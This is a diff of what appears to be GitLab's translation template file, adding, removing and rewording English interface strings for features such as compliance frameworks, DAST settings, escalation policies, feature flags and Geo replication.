@@ -8383,9 +8182,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8422,9 +8218,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8443,42 +8236,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8497,6 +8257,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8749,6 +8512,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -9103,7 +8869,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9142,6 +8908,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9208,6 +8977,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9448,9 +9220,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9577,9 +9346,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9811,6 +9577,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9820,9 +9592,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9838,9 +9607,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9916,6 +9682,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10135,9 +9904,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10204,6 +9970,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10564,9 +10342,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10591,6 +10366,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10624,7 +10402,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10744,6 +10522,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11422,12 +11203,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11485,7 +11284,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11497,21 +11296,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11545,6 +11347,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11566,6 +11371,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11584,15 +11392,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11779,7 +11584,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11830,7 +11635,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11839,6 +11644,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12055,9 +11863,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12091,9 +11896,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12154,6 +11956,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12283,6 +12088,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12292,13 +12100,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12379,13 +12190,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12403,6 +12211,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12418,9 +12229,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12430,9 +12238,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12562,6 +12367,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12727,9 +12535,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13210,7 +13015,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13219,30 +13024,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13252,6 +13081,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13288,9 +13126,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13435,7 +13270,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13456,9 +13291,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13555,9 +13387,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13576,9 +13405,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13864,9 +13690,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13897,9 +13720,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13948,9 +13768,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13981,9 +13798,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13999,9 +13813,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14041,24 +13852,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14068,9 +13867,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14155,9 +13951,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14173,6 +13966,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14239,9 +14035,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14410,6 +14203,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14431,10 +14227,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14638,159 +14431,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14881,6 +14536,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14980,9 +14638,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15055,6 +14710,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15064,6 +14725,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15094,9 +14758,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15118,6 +14779,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15658,9 +15328,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15706,6 +15373,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15727,9 +15403,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15760,6 +15433,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15829,13 +15505,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15871,9 +15544,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16186,18 +15856,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16222,6 +15889,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16261,13 +15931,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16450,6 +16120,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16567,6 +16240,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16651,9 +16327,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16801,6 +16474,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16981,9 +16657,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17488,13 +17161,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17584,9 +17260,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17740,6 +17413,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17752,6 +17437,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17791,6 +17479,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17806,9 +17497,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17821,12 +17509,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17848,6 +17530,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17890,9 +17575,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
